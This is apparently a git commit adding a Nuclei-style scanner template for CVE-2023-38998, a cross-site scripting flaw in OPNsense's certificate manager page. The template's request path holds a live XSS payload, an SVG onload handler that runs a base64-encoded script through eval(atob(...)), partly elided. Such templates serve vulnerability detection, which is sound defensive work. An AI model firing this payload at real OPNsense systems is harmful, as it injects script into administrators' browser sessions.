opnsense - xss

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38998
2023-09-11 10:58:49 +05:30 · 2023-09-11 10:58:49 +05:30 · c6cd8bc728
parent 76617c31e3
commit c6cd8bc728
1 changed files with 16 additions and 0 deletions
--- a/16
+++ b/16
@ -0,0 +1,16 @@
 id: cross-site-scripting-opnsense
 info:
  name: Cross Site Scripting in OPNsense
  author: pdteam
  severity: high
  Reference: https://logicaltrust.net/blog/2023/08/opnsense.html
 http:
  - method: GET
    path:
      - "{{BaseURL}}/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0"
    matchers:
      - type: word
        words:
          - "<svg/onload="
        part: body